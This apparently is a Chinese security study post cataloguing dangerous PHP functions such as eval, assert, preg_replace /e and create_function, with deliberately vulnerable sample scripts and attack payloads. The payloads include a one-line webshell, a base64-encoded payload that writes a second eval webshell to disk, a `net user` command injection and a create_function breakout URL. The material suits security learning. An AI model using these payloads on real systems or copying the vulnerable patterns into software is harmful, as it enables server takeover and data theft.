# PHP 常见危险函数

# eval () 函数

定义和用法:

eval () 函数把字符串按照 PHP 代码来计算.
该字符串必须是合法的 PHP 代码,且必须以分号结尾。

1
2
3
4
5
6
7
8
9
<?php
$var = "var";
if(isset($_GET["cmd"]))
{
$arg = $_GET["cmd"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>

image-20210503102521525

image-20210503102807857

# assert () 函数

1
2
3
assert()会检查指定的assertion并在结果为FALSE时采取适当的行动。
判断一个表达式是否成立。返回true or false。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

一般情况下,黑名单都会禁用 eval() 函数,所以用 assert 来代替 eval 来执行具体操作。

image-20210503103001094

# assertion 函数

1
2
3
检查一个断言是否为 FALSE。
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

构造

1
2
<?php $_GET[a]($_GET[b]);?>  //一句话木马
//payload: ?a=assert&b={fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwJF9QT1NUW2NdKTsgPz4))};

# preg_replace () 函数

preg_replace 函数执行一个正则表达式的搜索和替换。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$pattern = $_GET[pat];

$replacement = $_GET[rep];

$subject = $_GET[sub];

if(isset($pattern) && isset($replacement) && isset($subject))
{
preg_replace($pattern, $replacement, $subject);
}
else
{
die();
}
?>
1
2
3
?pat=/test/e&rep=phpinfo()&sub=jutst test
也可以为
?pat=/test/e&rep=var_dump(`net user`)&sub=jutst test
1
PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。

# create_function () 函数

string create_function ( string $args , string $code )
函数作用:从创建一个匿名函数传递的参数,并返回一个唯一的名称

代码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

构造匿名函数原型

1
2
3
4
function test($a,$b)
{
return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
}

构造 payload:

1
http://127.0.0.1/test3.php?sort_by=%27%22]);}phpinfo();/*

image-20210503104641807

# call_user_func 函数

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

代码

1
2
3
4
5
 <?php
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
?>

image-20210503111406856

# call_user_func_array 函数

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

1
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

# 命令执行函数

  • exec () 执行一个外部程序
  • passthru () 执行外部程序并且显示原始输出
  • proc_open () 执行一个命令,并且打开用来输入 / 输出的文件指针
  • shell_exec () 通过 shell 环境执行命令,将完整的输出以字符串方式返回
  • system () 执行外部程序,并且显示输出
  • popen () 通过 popen () 的参数传递一条命令,并对 popen () 所打开的文件进行执行
  • escapeshellcmd () 对字符串中可能会欺骗 shell 命令执行任意命令的字符转义

# 包含函数

require、include、require_once、include_once
包含函数 一共有四个,主要作用为包含并运行指定文件。

  • require 和 include 几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 (E_COMPILE_ERROR) 级别的错误。换句话说将导致脚本中止而 include 只产生警告(E_WARNING),脚本会继续运行。
  • include 语句包含并运行指定文件
  • require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
  • include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。

# 文件操作函数 (官方文档)

  • copy 拷贝文件 http://php.net/manual/zh/function.copy.php
  • file_get_contents 将整个文件读入一个字符串 http://php.net/manual/zh/function.file-get-contents.php
  • file_put_contents 将一个字符串写入文件 http://php.net/manual/zh/function.file-put-contents.php
  • file 把整个文件读入到一个数组中 http://php.net/manual/zh/function.file.php
  • fopen 打开文件或者 URL http://php.net/manual/zh/function.fopen.php
  • move_uploaded_file 将上传的文件移动到新位置 http://php.net/manual/zh/function.move-uploaded-file.php
  • readfile 输出文件 http://php.net/manual/zh/function.readfile.php
  • rename 重命名一个文件目录 http://php.net/manual/zh/function.rename.php
  • rmdir 删除目录 http://php.net/manual/zh/function.rmdir.php
  • unlink & delete 删除文件 http://php.net/manual/zh/function.unlink.php

# 特殊函数

1
2
3
4
5
6
7
8
9
10
phpinfo — 输出关于 PHP 配置的信息
symlink — 建立符号连接
readlink — 返回符号连接指向的目标
getenv — 获取一个环境变量的值
putenv — 设置环境变量的值
dl — 运行时载入一个 PHP 扩展
ini_get — 获取一个配置选项的值
ini_set ini_alter ini_restore
is_numeric - 数字判断
in_array 在 haystack 中搜索 needle,如果没有设置 strict 则使用宽松的比较。

# 变量覆盖

  • parse_str 如果 str 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
  • extract 本函数用来将变量从数组中导入到当前的符号表中。检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
  • mb_parse_str 解析 GET/POST/COOKIE 数据并设置全局变量。
  • import_request_variables 将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。

列目录

1
2
3
glob
array glob ( string $pattern [, int $flags = 0 ] )
glob() 函数依照 libc glob() 函数使用的规则寻找所有与 pattern 匹配的文件路径,类似于一般 shells 所用的规则一样。不进行缩写扩展或参数替代。

# 无参数获取信息

  • get_defined_vars 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
  • get_defined_constants 返回当前所有已定义的常量名和值。 这包含 define () 函数所创建的,也包含了所有扩展所创建的。
  • get_defined_functions 返回一个包含所有已定义函数列表的多维数组
  • get_included_files 返回所有被 include、 include_once、 require 和 require_once 的文件名。

php 危险函数总结

image-20210503135420288

image-20210503135446595

image-20210503135503196

更新于

请我喝[茶]~( ̄▽ ̄)~*

chun 微信支付

微信支付

chun 支付宝

支付宝